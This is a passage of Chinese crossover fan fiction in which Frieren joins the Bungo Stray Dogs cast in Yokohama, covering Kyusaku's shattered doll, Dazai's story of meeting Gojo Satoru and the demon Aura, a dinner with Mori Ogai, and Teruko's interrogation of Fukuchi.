“对了,待会可能还要倚仗一下芙莉莲小姐的智慧了。”太宰治转移话题,他晃了晃手里的【书】,“里面可能会有点你们世界的手段吧,这我可很难发现。”
“所以这就是你们刚刚说的……”芙莉莲恍然大悟。
是对【书】的实验。
踏踏踏,匆忙的脚步声在这时响起,打断了芙莉莲的话,医务室的大门又一次被狠狠甩开。
一个抱着玩偶的人影逆着光闯了进来,或许是因为很久没跑得这么急了,他一下子没缓过来,一边喘气,一边用手扶门,累得不行。
半晌抬起头,星星与圆圈在眼里闪动。
正是梦野久作。
他先是上上下下打量了芙莉莲一番,见她没事,才狠狠松了口气。
然后一扭头,发现了太宰治,梦野久作脸色瞬间垮下来,他警惕地瞪了太宰治一眼,噔噔噔三两步凑到芙莉莲身边。
“怎么了?”有的精灵面上没有什么表情,但是罪恶的手已经自然而然地,开始伸向久作毛茸茸的小脑瓜了。
“有讨厌的气息在这里。”梦野久作老老实实回答,他仰着脸,“怕你出事。”
芙莉莲摸摸头的手微微一顿。
讨厌的气息?
能够让梦野久作讨厌的气息,又可能与她有关的……格拉奥萨姆?
“现在呢,还能感受到吗?”
梦野久作迟疑了一会,点点头又很快摇摇头。
“只能感觉到在这里,但是具体在哪里又不知道。”他比划道,“和当时我们与芥川一块的时候很像。”
“你是说这里也是格拉奥萨姆的精神魔法构筑的吗?”芙莉莲气场一凛。
“应该不是,”久作这会摇头摇得很干脆,“只是像,但是力量更弱。”
那应该就是在暗处盯着了。
就在这时,太宰治手上的【书】剧烈地颤动起来,发出耀眼的光。
虽然他本来就是因为阿乌拉先前的异样*,想在这里稍微测试一下来着,但是现在似乎有点不妙。
他后退几步,困惑得到解答。
原来如此……突然的暴躁拿【书】,或许是格拉奥瑞姆传音要求的,为了——把力量藏匿在【书】中。
是预见了什么吗……不,如果预见了,他不可能不提醒阿乌拉,他们存在共同利益,除非……
太宰治侧身躲开。
而芙莉莲则第一时间支起防御,拦下了朝她来的一击。
无色的王剑隐约出现。
“这是什么?”她蹙起眉,放下抬起的手,走近有点黯淡下去的【书】,低下头,“……格拉奥萨姆的力量?”
“应该是。”太宰治若有所思。
事情似乎将留下谜团,并就此告一段落。
但,现实并非如此。
还没等大家能歇口气,一旁的梦野久作忽然暗感不妙,讨厌的气息忽然浓郁起来,而且目标是——
他猛得抬头,白发的精灵出现在视野里。
糟糕,目标是【芙莉莲】!
梦野久作没有多想哪怕一秒,猛地往前扑,挡在芙莉莲与【书】之间。
“小心——”
梦野久作闭着眼睛,身躯颤抖,但一步也没有后退。
她救过我,那么我也要救她。梦野久作是这样想的。
可是,一秒过去了,两秒,三秒。
欸,怎么没有疼痛感?
梦野久作试探性地睁开眼睛,下一秒他惊慌地睁大了眼。
包扎着绷带,流着血泪的娃娃浮在空中,挡在他的面前。
“……久作……喜欢……最喜欢久作了!”
玩偶张开臂膀,在梦野久作颤动的瞳仁里,在他的注视下,艰难而小心翼翼地抱起梦野久作的手掌。
那双无光的黑洞眼睛与梦野久作对视。
“……久作……最喜欢久作!”它吃力地重复着。
曾经,有人说过。
世界上没有人爱久作。*
不,才不是——
玩偶一直一直爱着久作,就像久作/爱护着它一样。
人对人的思念,可以让ta停留,为ta所爱之人守护。
那
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么,其他羁绊呢?
即使是死物,也会因为思念短暂地活过来。
这不是复活,是汇聚在无声之物上日与夜的纠葛之爱。
娃娃碎裂开来,这一次,它彻底变成了碎片,拼也拼不回来。
啪嗒,失去力量操控的【书】跌落在地上。
久作蠕动着唇,他发不出一句话,眼里无措。
他感受到身上的束缚消失了——自己的异能似乎也随着玩偶的破碎而彻底消散了。
一直渴望失去的异能力消散了,代价却是珍视之物的离去。
这对于Q来说,究竟是好事,还是坏事呢?
没有人知道,除了他自己。
梦野久作沉默半晌,他忽然蹲下身,一片又一片将碎布拾捡。
忽然,他感觉身边多了一个人,梦野久作微微侧过头,愣了愣——是芙莉莲。
她也一起,拾起破碎到几乎无法补救的碎布。
“不要担心,我会找到修好ta的人的。”芙莉莲摸了摸他的脑袋。
她忽然想起一级魔法使考核通过的时候,那时海塔送给菲伦的法杖破碎了。
“已经破损到这个程度,修不好了,还是丢掉吧,到时候再去买新的。”观察完法杖情况后,芙莉莲并不知道这意味着什么,只是看着法杖的磨损严重程度,得出了这样的客观结论。
那天,菲伦罕见地生起了闷气。
因为那是养父送给她的,从小到大一直在身边的法杖,她从来没有想丢掉它的想法。
菲伦很难过。
精灵是迟钝的,却并非全无情感。
想要了解为什么菲伦会难过,想要菲伦开心。
很重要的东西,无论怎么样,也会努力珍惜,努力修复。
最后,她找到了能修复菲伦法杖的能人。
久作的玩偶也能找到修复它的办法。
芙莉莲这样坚信着。
久作黯淡的眼睛重新有了光亮,他沉默地望着手心的碎布料,然后笑着攥紧了它们,“我相信你,大姐姐。”
……
一切暂且尘埃落定,但还有一些仍然未被阐明。
“所以太宰先生,你和五条悟是怎么认识的啊?感觉明明八竿子打不着。”
中岛敦双手扒拉着椅背,身体向前倾。
他和国木田独步并没有参与到与阿乌拉有关的战斗里,只是和福地樱痴对上了,而福地樱痴之后又被及时赶来的社长所击败。
(谈到社长,那可就是另一个故事了,乱步侦探拒绝告知。)
“无非是些老套的,和金鱼的沟通而已,总之,没什么好讲的。”乱步双手在胸前画了个大叉。
对于先前到底发生了些什么,中岛敦心里头的好奇愈发强烈,像是被猫抓了好几下。
端正坐在一旁,甚至因为讨厌太宰治特意坐远了的梦野久作,听到这个问题也忍不住抬起头,竖起耳朵——失去异能的他只是一个普通的小孩儿,对于港口Mafia来说,已经没有了什么作用,而且常年的拘/禁让他并不能知晓过多港口Mafia的秘密,所以那边就很宽松地把人放了,让他被侦探社暂时收留。
“嗯……怎么说呢?”太宰治歪歪头,他漫不经心地侧身瞥了眼一旁坐没坐姿,吃着薯片的江户川乱步,欲言又止。
“本名侦探是不想说,但又没拦着你。”乱步当然察觉到他的想法,他咔嚓一声,将嘴里叼着的薯片咬断,含糊道。
于是太宰治继续讲了下去——
31.帮助
……
话说那日与国木田独步分别后,太宰治坐上了警/车。
很快车停了下,猫咪老师也随之离开,他又被两个警/察押送进警局。
太宰治气定神闲地走在两位樱花警/官前面,如果不看他双手上的镣铐,不知道的还以为是他在领着别人进去呢。
就在这时,一阵劲爆的游戏声自门口处传来,吸引了三人的注意力。
其中一位警/官皱起眉来——是哪个同事,上班了居然还玩忽职守?
乒乒乓乓,离得近了,提示音效越发明显,不绝于耳,很明显不知名的玩家正进行着一场激烈的决斗。
推开门进去。
太宰治侧过头,大门旁的等候座位上坐着个白发青年,个子挺高,盯着游戏的双眼上绑着黑色布带,看起来很像盲人,但双手却手速惊人,慷慨激昂地沉浸式打手游。
太宰治:?
不过这只是短暂的蒙圈,很快,他就认出了来人的身份——咒术界的最强,传说中的六眼神子,五条悟。
他来到这里是为了什么事呢?
五条悟感觉到有目光落在他身上,很快抬起头,隔着黑色的缠眼布,与太宰治对上视线。
太宰治暗感大事不妙。
果然,下一秒五条悟就把游戏一关,蹭了上来。
“哟——”他旁若无人地打了个招呼。
“五条悟阁下,请稍微离远点,这是很危险的犯/罪/嫌疑人。”一旁负责押送太宰治的警/察伸出手拦下五条悟,严肃而委婉地说道。
太宰治是被异能特务科标注的高危分子,异能无效化拥有者。
负责监视他的自然也不是一般人,所以清楚咒术界咒术师这类存在也是件正常的事。
“我知道……好吧好吧,我当然不会再靠近的。”白发的最强一副完全不在意的模样,他耸耸肩,没有再继续靠近,“我是带着任务来盘问他点事的,劳烦给我点空间。”
“总监会能替我担保。”说完,他又补充了一句。
两位警/官眼里的怀疑之色这才慢慢消去,他们对视了一眼,把谈话的空间让给了太宰治和五条悟。
不过,尽管如此,他们也没有完全放弃警惕心,还是站在能一眼看清太宰治二人全部动作的一处,用眼睛余光注视着他们。
“啊,大老远的辛辛苦苦从东京来到横滨,怎么,咒术师们已经想把手伸到这边来了么?”太宰治并不在乎暗中监管般的视线,他脸上扬起一抹笑,看好戏一般的笑,“异能特务科要是知道有这么回事的话,可有得闹了。”
“咒术师伸手,啧。不,当然不是,我可不会代表那些老橘子,”五条悟嫌弃之色都要溢出来了,他耸耸肩,一摊手,“毕竟我啊,只是个路过的,想帮帮学生的热心的麻辣教师而已。”
五条悟这样回答他。
“五条悟阁下。”警/官的声音从不远处传来,他们似乎看到了五条悟夸张的动作,以为他打算做些什么,于是说出了声。语调很低,好似在提醒他不要做多余的事。
五条悟却面带轻松的笑,似乎并没有把这个放在心上。
……学生?太宰治沉默一会,如果他没有记错的话,五条悟确实在东京都立咒术高专任职,但是,他似乎并没有认识过那里的学生。
五条悟朝太宰治做了个口型。
【芙莉莲】
他是这么说的。
和那位魔法使相关,原来如此……太宰治明白了,而且说起来,五条悟是不是会瞬移来着。
很好。
清楚了其中关系,太宰治自然毫不客气地用起了这个强大助力。
能更简单解决的问题就走更简单的路,这是很能理解的,不是吗?
“嘶,那太宰先生,你有问他为什么知道芙莉莲小姐吗,还有他口中说的那个学生,又和芙莉莲小姐有什么关系呢?”中岛敦感觉谜团真是越讲越多了,忍不住发出连环问来。
“当然是——”太宰治拉长了声音。
众人屏息凝神。
“忘记问了啊。”他理直气壮地把双手一摊。
屏住的呼吸一下子全都散了,侦探社里一片人仰马翻,吵闹声四起。
“什么嘛。”
“故意吊人胃口!”
“呵,果然。”
“太宰先生……有点过分。”
“啊,如果是这样确实没有办法。”
好像混进去了什么天然。
“当时那么紧急的情况,哪里会考虑这么多嘛,”太宰治抬起头,在一片哀嚎里这样说道,而且说着说着,更加理直气壮了。
“光说一句话就被狠狠监视了好吧,哪里有那么多话好寒暄的,每一秒对大家来说都至关重要喂。”
“我赌一包薯片,借口,绝对是借口。”嘟囔声蛐蛐起来。
“……这个音量,我听得到的哦,敦君。”
中岛敦:!
中岛敦:“对不起!”
中岛敦用手在嘴边做出拉拉链的动作,表示自己老实闭嘴。
太宰治垂下眼,他其实隐瞒了一部分对话。
……
“除了跑腿的活,还有什么需要我干的吗?”
“除此之外,什么也不必做。”
“欸——我还以为你会狠狠利用我呢。”毕竟作为最强,某些情况还挺好用的,五条悟都做好被他利用来牵制军/方的准备了。
结果只是这么轻松的活。
“不用了,”太宰治弯起鸢色的眼,手/铐因为肢体动作而配合着发出响声,“毕竟——横滨,是横滨人的横滨。”
五条悟愣了愣,很快开玩笑般道:“这是什么异乡人排外剧情啊。”
“不过,我还是会盯着的,毕竟是学生的托付,如果你遇到不测我会立刻过来。”*
“好啊。”
……
“所以,这就是大家遇到五条悟的原因。”一旁安安静静的泉镜花忽然开口,总结道,“故事讲完了。”
“……这么快的吗。”中岛敦意犹未尽,忍了又忍,还是忍不住了,小声嘀嘀咕咕起来,“只是这样,也有点太短小了吧。
“才说完,敦君就又忘记我能听到了么。”太宰治幽幽道。
中岛敦原地合上嘴。
“我不是故意的!”
打趣完小后辈,无良的武侦前辈继续了话头。
“关于五条悟,大概就这么点,但是之后还发生了不少事没有说呢……”
五条悟离开之后,有人来进行了交接,很快,太宰治被带着坐上了另一辆警/车。
砰咚,车门拉开又合上,太宰治被放置在车里。
负责监视他的二人在外面,靠着门与同事对话,当然,即使是聊天,他们也不忘让太宰治处于视线之内。
四个警/官还在交谈着,但车里头却是一点声都听不到。
这车隔音还挺好。
太宰治想着,半眯着眼靠在车后座的椅背上,一副已经困得要睡着了的样子,侧着头。
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被车挡板挡住的地方,他的手指正轻轻地,不紧不慢地扣着手/铐的一角,耳边响起几道人声。
是来自密闭车窗外,那几个处于交接过程中,暂时看守他的人发出的声音,在闲聊的状态。
在为他拷上镣铐的时候,太宰治一个不小心,顺手放过几个小礼物在这两位恪尽职守的警/官们身上,现在,派上了用场。
一段杂音过后,谈话变得清晰。
“你们这一路上可真是辛苦了,接下来就交给我们吧。”新出现的两个警/官打扮的人,他们的声音从监听器里传出来,传到太宰治耳朵里。
此刻他们正这样对之前押送太宰治的两位说道。
“辛苦?怎么会,哪有哪有,”先前的两位摆摆手,“一点事端都没有出呢,这回还挺轻松。”
“所以接下来,是要把他们转交给异能特务科吗?”
“没错,之后可能会送进【默尔索】去。”
默尔索监狱,一座专门用来看押高危异能力分子的知名国际监狱,戒备森严,只要进去就绝无可能再逃狱出来的地方,据说是由某位欧洲异能力者的异能空间打造。
真有意思,好像很可怕呢,稍微有点兴趣,但是——
他可不会去到那里。
车门被咚地一声重重关上,警/官上车了。
两位先前人士已经走掉,只剩下面前这新来的两个。
扭转钥匙,发动机嗡鸣,车子将发动起来。
背对着太宰治的两人忽然一齐看向太宰治。
“阿乌拉大人向您问好。”
原本在外头交谈时的灵动目光,此刻显得呆滞异常。
啧,又是傀儡。
“我还以为,你会到侦探社接我呢。”太宰治漫不经心道。
“谁让你不按计划乱跑,结果被抓住了呢?”阿乌拉的声音从太宰治面前的两位男警/官的喉间同时涌出,一股子的嫌弃。
异口同声带来了非人的感觉。
“人类真是麻烦。”
“诶诶诶,我也冤枉啊,”太宰治无辜地举起被拷住的手,晃了晃手里的《完/全/自/杀/手册》,“一天不入水,浑身都会不舒服的。”
“谁知道,他们会专门在鹤见川的下游,拿着渔网捞我呢?”
“……嘁。”阿乌拉勉勉强强被这个理由说服了,然后将话锋一转。
“总之,左右等不到,我们就借用了一下港口Mafia和武装侦探社交战的报告资料,去了趟晚香堂附近,结果,”首领办公室内,阿乌拉单手撑着下巴,“什么都没有。”
“真是可惜。”她喟叹一声。
太宰治面带笑意,眼神却一片冷沉。
可惜?可惜在没有收到更多资料吧,借着他不在要去寻找的由头。
“啊啊,那真是抱歉啊。”充满愧疚的虚假言论。
“知道就好。”阿乌拉说道,“哦对了,你记得把你们侦探社的人引过来,真能藏,派了这么多人还是抓不到……记得,快一点找,我要多造点傀儡。”
“这是格拉奥萨姆阁下的吩咐吗?”
“什么?这当然是我的主意,”阿乌拉傲慢地道,“怎么,你不乐意吗?”
“怎么会呢?我是说,乐意为您效劳,阿乌拉阁下。”
太宰治眨眨眼睛,很快反应了过来。
不过心里也有些嘀咕。
咦,居然不是格拉奥萨姆的人,嘶——
阿乌拉什么时候有这种想以防万一的脑子了?
32.谈话
阿乌拉满意地点了点头,准备离开,结果,还没下线成功呢,立马被太宰治接下来的话拦阻了动作。
“事实上,您还没有开口前,我就已经这样做过了。”太宰治继续说道,语气很平静,一点也不虚,“而且因为是拜托了有瞬移能力的人去进行,所以能够更加高效些。”
说罢,为了避免被怀疑,他还漫不经心加上几句类似什么“为了大业更加保险”“之前出门入水被捞后顺势而为”“利用了一下,没想到歪打正着配合上了阁下的计划”等说辞。
“哦?”就如太宰治所料的,阿乌拉并没有往他是不是反水这方面去想,只是古怪地笑了声。
在坑害同类上的天赋倒是不错。这名大魔族这样想。
“那你还挺忠心的。”
【忠心】
成功恶心到太宰治了。
一个仅次于【救世主】的词汇。
“你的表情看起来很难看。”阿乌拉笑得更开怀了,“真奇怪。”
“虽然我并不理解什么叫忠诚,但在人类的词汇库里,这是个好词,不是么?”
太宰治不置可否。
“好啦,我真要去忙了,还有其他什么事么?没事我就先收回注意了,”该说的都说了,恶趣味也散了,阿乌拉开始有点不耐烦起来,她拉长了语调,“已经和福地樱痴那边打过招呼了,到时候会直接开进港口Mafia。”
“没有了,您大可以忙您的事情。”
警/车驶向五栋高大漆黑标志性建筑的方向。
……
“那个大魔族阿乌拉原来是这个性格嘛,”中岛敦抬起头,“说什么就信什么,这个算轻信吗?”
“不是轻信,只是傲慢而已。”一旁路过的芙莉莲回答道。
“欸,是芙莉莲小姐,早上好啊!”
“早上好,芙莉莲小姐。”
“今天真难得,起得好早,是有什么要紧事吗?”
大伙立刻惊喜地打起招呼来——早晨这个点刷新一个白发精灵魔法使可不大容易,芙莉莲一般都是中午甚至下午出没。
有时候不去提醒,可能连中饭都会忘了吃。
“没事。”芙莉莲摇摇头,“晚上有些失眠,所以早醒了,然后听到这里有故事。”
“啊,这样啊,不过其实刚刚也不能算故事吧……欸,镜花你拉我干什么?”
泉镜花松开中岛敦的衣角,沉默地扫了他一眼。
“敦是笨蛋。”
“不是,这又是为什么啊?”中岛敦破大防。
泉镜花没理这动静,她挪到芙莉莲身边,仰着头:“芙莉莲小姐和我们一起听吧。”
“嗯?也行。”芙莉莲无可无不可地点点头,顺手拉开泉镜花旁边办公桌的座椅,坐了下来。
泉镜花:(背景开始冒花花)
对哦,中岛敦想起来了,在人偶版芙莉莲时期,小镜花好像就对芙莉莲很有好感来着,还支持了短篇话剧。*
他记得,当时搞话剧的剧本主要人员是秘书小姐和——
说曹操曹操到。
“大家早上好啊……啊呀,芙莉莲小姐你也在啊。”学校今日休假,谷崎直美和谷崎润一郎一块在侦探社办公,此刻,她刚进门就看到聚在一块的人群,目光第一时间就落在了芙莉莲身上。
“太好了,本来还想晚点,等芙莉莲小姐你醒了以后找你来着,现在好了,”谷崎直美双眼放光,愉快地一合掌,“正好能和芙莉莲小姐你传达个消息。”
“什么消息?”
谷崎直美也没有买关子,她开开心心道:“我们的短剧爆了哦,传播度变广啦,相信不久就能找到你的伙伴们啦。”
芙莉莲:(背景冒花花加一)
乱步抬起眼往他们那瞥了一眼,又掏了把薯片嚼嚼嚼。
“虽然不是很想打击你们,但是港口Mafia在里面应该也起了推手作用。”
“欸?!!”一石激起千层浪。
“港口Mafia不是向来和我们关系不好么,怎么会突然帮忙啊?”有人表示怀疑。
“不,仔细想想也有可能,毕竟不是我们救了他们嘛。”有人若有所思。
“两分钟。”乱步不急不慌地比了个二的手势。
什么两分钟?
芙莉莲眨眨眼睛。
下一秒,她就知道是怎么回事了。
武装侦探社的门被敲响,很有礼貌的三长两短。
是有委托人上门吗?
离门比较近的谷崎润一郎立刻帮忙开了门。
“您好——”欢迎词戛然而止,他呆在原地。
一道熟悉的黑色身影越过谷崎润一郎走进武装侦探社,他先是环顾了一圈,在看到太宰治时顿了顿,但很快又正常地,直接走向芙莉莲。
先是以手抵唇,咳嗽了几声,等到缓解完喉间涌上来的痒意,他再把目光投下,与芙莉莲对视。
芥川龙之介认真而恭敬地开口道:“芙莉莲小姐,在下奉首领命令,邀请您前来一叙。”
说罢,他将黑底烫金的请柬递上。
好正式的感觉。
芙莉莲梦回打败魔王后被国王接待的日子,伸出双手将它接过。
见目的达成,芥川龙之介毫不迟疑地转身,也不去看太宰治,径直离开了。
全程镇定自若,旁若无人。
不对,等等……他们港口Mafia都不知道袭击了武装侦探社多少回,现在就这么自然地,在他们全员都在的时候进大本营了?
直到芥川龙之介消失在众人视野里时,大家才反应过来。
他们一齐把目光投向芙莉莲手中的请柬。
在万众瞩目中,芙莉莲慢吞吞把请柬打开,展平,上下快速浏览起来。
上面都是些客套的寒暄语,删去那些繁琐的礼节性的辞令,无非就是吃顿饭见一面的样子。
“可以去的,没有风险。”在武装侦探社全员如临大敌的氛围里,乱步边说,边若无其事地把薯片包装袋扔进垃圾桶。
于是众人又松了一口气,不,还是有人提起了一口气。
“乱步先生,你是不是吃超份额了。”冷不零丁的,晶子医生的声音自乱步身后响起。
江户川乱步,武装侦探社的核心,大名鼎鼎的侦探身体一僵。
“对哦,社长好像说了,要限制乱步的零食摄入量来着,是多吃了好几包吧。”泉镜花恍然大悟,脑袋上的呆毛晃了晃。
“不可能好多包,乱步大人我算过的,只有一包!”乱步下意识反驳。
“啊,果然是故意多吃了。”晶子满脸了然,转身准备上楼,“我会一五一十(重音)地告诉给社长的。”
“等等,等等!”
乱步猫猫方寸大乱。
紧张不会消失,只是会从一群人身上转移到另
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一个人身上。
允悲。
……
【晚上,港口Mafia大楼内】
几名黑衣壮汉把芙莉莲迎了进去,前往会客厅。
隔着一张长长长的餐桌,坐在主座上的森鸥外与芙莉莲面对着面。
一盘又一盘美味被端了上来。
最后还放了些小甜点,其中,一盘精致的布丁被放在了芙莉莲面前。
“这款布丁,是上回我们见面的那家甜品店的招牌。”森鸥外愉快道,他此刻穿着一身黑衣,围着象征首领的红围巾,“芙莉莲小姐要不要先尝尝,看符不符合您的心意?”
“多谢。”芙莉莲并没有客气什么,直接伸出了勺子,然后塞进嘴里,嚼嚼嚼,她眯起了眼睛,整只精灵都变得亮堂堂。
好吃。
一个耿直的人。森鸥外观察着芙莉莲,对她进行侧写。
没有怀疑为什么会清楚她的口味,也没有怀疑为什么会还有在甜品店的记忆,究竟是之后暗地里调查过,还是当时就很清醒所以记了下来,或者其他什么原因,全部都没有问。
也许试探对她并不管用,最有效的沟通就是拒绝弯弯绕绕,直接点题。
啊……需要放弃自己的套话风格。森鸥外叹了口气,真没办法。
望着埋头苦吃的芙莉莲,森鸥外笑眯眯道:“芙莉莲小姐,最近魔族可是把横滨搅得一团糟啊。”
芙莉莲咽下最后一口布丁,慢条斯理地拿起桌上的白布,拭去残渍,然后抬起眼等待森鸥外的下文。
这还是她第一次正式的和清醒版港口Mafia首领会面。
“芙莉莲小姐之前有拍过一个短剧,我们的人也有在帮忙宣传,”森鸥外微笑道,“您在找人,这一点,作为庇护横滨的黑夜,我们一清二楚。”
“但是世界上的人这么多,光凭媒体的力量,找寻起来依旧如同大海捞针,”森鸥外的双手交叠,托着下巴,“或许您会需要一个助力,作为横滨三刻构想的一环,我们也是有能力的。”
“三刻构想?”又一个芙莉莲不知道的名词。
“为了维护横滨和平而提出的概念,白天是异能特务科,黑夜属于港口Mafia,黄昏为武装侦探社,一种制衡。”森欧外简单地带过,然后拍拍掌,下属从一旁递来厚厚的资料,在首领的示意下呈到芙莉莲面前。
“请看,芙莉莲小姐这些只是部分我们办成的案例。”
他详细地摆出了港口Mafia的优势与能力。
“在找人这方面,港口Mafia完全可以全面而高效地配合您,芙莉莲小姐。”因为身高的优势,他沉冷的暗紫色眼眸俯视下来,凭添了几分危险的气息,“但是……”
“但是。”芙莉莲并不惧怕这种威压,她平淡地与森欧外对视,重复了一遍。
之后才是重点。
森欧外知道芙莉莲明白了他的意思,于是笑着点点头,这一笑立刻驱散了饭桌上阴冷压迫的氛围:“但是,可能要多多辛苦芙莉莲小姐了,毕竟,如果还有什么魔族出现在横滨,这种异世界的生物,我们可是很难处理的呀。”
“哪方带来的就要哪方处理好,不对么?”
“当然。”
芙莉莲不会因为他释放的威压而感到害怕或者后退,也不会因为他看似抱怨的话语,就轻易地被愧疚裹挟。
“我本来就是被拜托着,除魔而来的。”*
33.审问
“这样就再好不过了。”森鸥外脸上浮现出真心的笑容。
之后,很长一段时间,森鸥外并没有再提任何其他的事,就好像他想说的已经全部说完了一样。
当然,事实也确实如此。
芙莉莲沉默了一会:“……”
“你这么做,特意找我过来,只是因为这个么,”她用叉子叉起一块牛排,边嚼,边抬起眼,看着满脸放松的森鸥外,有点困惑,“明明Mafia,作为里世界,在普通人眼里算得上是反派势力吧?”
“反派势力?哦,确实很像。不过‘只是这个’,这词用的不对,我的一切想法一切目的,当然都是……”森鸥外笑了起来,“为了横滨啊。”
“先前说过的,我们可是横滨的黑夜。”
秩序,平衡的同时,还要有力量,自身的力量。
这就是三刻构想。
“喵——”
三花猫在树上发出懒洋洋的叫声。
“小咪,快下来,下班了,我们要回家啦。”春野绮罗子小姐张开双臂,接住跳下来的猫咪。
“哎呀,小咪你又重了,肉墩墩。”她抱怨着,笑容却很幸福。
然后抬头看到了月亮。
一轮安静的,盛大的圆月。
“又是一个和平的夜晚,真好啊,对不对啊小咪?”春野绮罗子轻快地感慨。
虽然现在还是有些动乱存在着,但是能够这样夜晚出门夜晚回家,如果放在以前,估计是想都不敢想的吧。
“喵——”
“小咪小咪,你也是在赞成我的话对吧对吧对吧!”秘书小姐无视了小咪抗拒的猫爪子,狠狠把脸埋进猫毛茸茸的背部,吸猫吸猫。
吸得小咪麻木且毛发凌乱。
这就是变猫的惩罚吗?这就是变猫的惩罚吧!想老夫我流浪之时,多么自由,如今已经沦为被支配的家猫了。提出了“三刻构想”的夏目漱石老先生陷入沉思。
……
“当然,虽然话是这么说,可是——”
“如果芙莉莲小姐愿意帮些其他的,小小小忙,我们也感激不尽!”森鸥外眼里闪烁着对劳动力的渴求,他当然没有注意到千里之外老师遇到的窘境,而是激情开口,继续和芙莉莲说道。
芙莉莲与眼睛亮晶晶的森鸥外对视:……
“还是不了,谢谢。”
直觉让她下意识毛骨悚然起来,冷汗悄然爬上肩头。
隐隐约约间,它警告着芙莉莲这条咸鱼精灵——森鸥外想要的小小小忙,一定肯定绝对不是什么好事。
“我更喜欢也更擅长躺平。”
芙莉莲又刻意强调了一下,每一个字都带着重音。
森鸥外眼里的光瞬间熄灭了,速度很快,快得连芙莉莲都差点反应不过来。
特别明显,果然……果然是想让她干牛马加班加点式的活!
芙莉莲表示她已经逐渐理解一切,并且开始庆幸自己作为魔法使的直觉能力。
还好拒绝了,加班地狱什么的,就由你们港口Mafia内部享受吧!
就这样平和地吃完一餐,在结束的下一秒,芙莉莲毫无留恋地,马不停蹄地直接溜了。
没有魔导书委托的干活约等于打白工,当然不比看书钻研魔法更有趣,芙莉莲义正辞严。
而且再看森首领脸上的黑眼圈吧,都可以直接摔到地下去了,这么可怕的工作强度——
绝对,绝对不想变成这样。
……
在横滨的另一处地方,那里可没有像芙莉莲这头般和谐。
滴答,滴答。
水滴自囚/室上方滚落,滴入凹凼,激起水花。
“……队长,”红发单马尾的女孩,低着眉眼,摩挲着手里的武器,手指却不自觉地轻颤,语气里暗涛汹涌,“为什么要这么做。”
如果芙莉莲在场,她应该能够认得出来这个幼女是谁——大仓烨子,一个对罪恶深恶痛绝的女孩,先前阻拦了他们,后来又想要寻求真相。
此刻,真相就摆在面前。
【猎犬】的队长,福地樱痴双手带着镣/铐,坐在审讯室的椅子上,闭着眼睛不回答。
他身上还有尚未愈合的伤口。
昔日的好友持刀对立,福地樱痴坦白了一切,但福泽谕吉最终依旧下不去最致命的一手。
试图质问一番的大仓烨子赶来后看到的就是这一幕。*
“回答我啊,队长!”幼女姿态的大仓烨子终于抬起头,她大喊着,失望融入到话语里,“你明明知道我……”
我什么,她哽咽了一下,又不说了。
“抱歉,烨子。”
福地樱痴叹了口气,睁开眼睛,里面似乎充盈着无奈。
但大仓烨子十分了解他,正如他十分了解大仓烨子一样,福地樱痴这是在为伤到大仓烨子内心而感到愧疚,但唯独不是对做这件事的后悔。
他不后悔和吃人的魔族合作。
可是,为什么?
大仓烨子沉默了一会,她深深凝望着福地樱痴。
“……”
“烂人。”
她说。
最激烈的情绪化作最冷淡的两个字。
“狡猾的烂人。”
她下了定性,深吸一口气,克制住眼里欲落未落,不停打旋的泪花。
“说吧,武装侦探社的事,怎么做到的。”大仓烨子的眼角还泛着红,但她已经调节好自己的情绪,公事公办般保持起清醒和理智,显得那样冷静。
刑讯的白炽灯打下。
“啊,这个是因为我有【书】的残页,只需要符合逻辑,交待前因后果,那么在【书】上写下的全部都会成真。”福地樱痴对于一切供认不讳。
“……所以武装侦探社其实并不是真正的罪人,是吗?”
福地樱痴叹了口气,笑起来,笑容里竟有些许释然。
“是。”
握刀的手再次微颤。
大仓烨子与福地樱痴对视。
红莲业火般燃烧的瞳与暗紫色的眼眸交汇。
大仓烨子再次深呼吸,下一秒,眼神坚定起来。
“你是否清楚魔族以人为食?”
“是。”
“和魔族合作,是否意在世界?”
“是。”
“你是否承认,自己是天人五衰的首领【神威】?”
“我承认。”
……
大仓烨子接连不断的问询像一连串机/关/枪/子/弹般发射出来,根本不给人思考和喘息的空间,密密麻麻。
但福地樱痴每一个都意外地配合,将计划和想法一一交待。
全部信息都和先前,德拉特的视频对上了。
大仓烨子心头忽然涌上一阵无力感。
一直以来,她都把队长的意志当作道标一般的存在,可是现在,居然成了最大的讽刺。
公认的正义之人居然是恐/怖/组/织的头领,甚至为了获得世界,和食人恶魔合作。
她蠕动着嘴唇,一开一合,却一句话
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也说不出来。
她想要质问一声为什么,却找不到一丝立场。
声线干涸了。
最后,她问下最后一个问题。
“那你现在为什么都交待了?”
福地樱痴愣了愣,他笑起来,哈哈大笑,和以往无数次一样爽朗而毫无阴霾:“因为我看到了希望。”
异世界的来客们,或许能够成为阻止战争的希望。无论是魔族,抑或他们的敌人,都有成功的希望,他不会放弃。
大仓烨子望着他的眼睛。
一如既往的坚定。
他依旧没有改变自己的想法。大仓烨子虽然不知道福地樱痴在想什么,但是能够读出这种意思,她沉默着站起,转身离开。
“……你要去哪?”被束缚在刑讯椅上的福地樱痴问道。
大仓烨子回过头。
“我去叫条野来。”
审讯的活,通常是大仓烨子和条野采菊一块干,但她现在这会儿,没有心情。
被影响会降低审讯质量,等彻底调节好,她会再来一次。
大仓烨子准备离开。
可就在离门还有一厘米的时候,忽然,她的脚步顿住了。
门外隐隐约约传来杂乱声,动静虽小,但大仓烨子作为军方战力【猎犬】的成员,作为改造者,听力可不是一般的灵敏,一下子就把内容给听了出来。
“哎,别挤别挤,铁肠你踩着我脚了。”
这道年轻男人的声音来自【猎犬】不为人知的第五人——之前派去港口Mafia卧底的立原道造。
他先前还混成了那儿黑蜥蜴的十人长,然后,就倒霉地和港口Mafia的大家一起,被控制了。
虽然立原道造也曾清醒过一会,但终究没有到森鸥外那种理智到自己都能进行情绪剖析、利用的地步,还来不及走出大楼就又被控了。
“不好意思,我动一下。”这是【猎犬】最强战力末广铁肠的声音。
“……铁肠先生,麻烦你也别再靠过来了,我快要贴门缝里了。”温和的,但是暗地里咬牙切齿,还带着点阴阳怪气,嗯,是他搭档条野采菊没错了。
“啊,好吧,”末广铁肠并没有意识到搭档话里不满,“我尽量不动。”
“啊哈哈,铁肠你别这么认真啊。”
“没关系,铁肠先生。”其实关系很大,只长肌肉的家伙。
就这样听着听着,大仓烨子被气笑了。
她伸出手,猛地把大门一把拉开。
失去平衡的三人直接和大仓烨子来了个对视。
被发现了,而且糟糕,没有支持点了!他们仨在惯性的影响下,不由地向前扑去,眼见着三个大男人就要全砸在大仓烨子身上了。
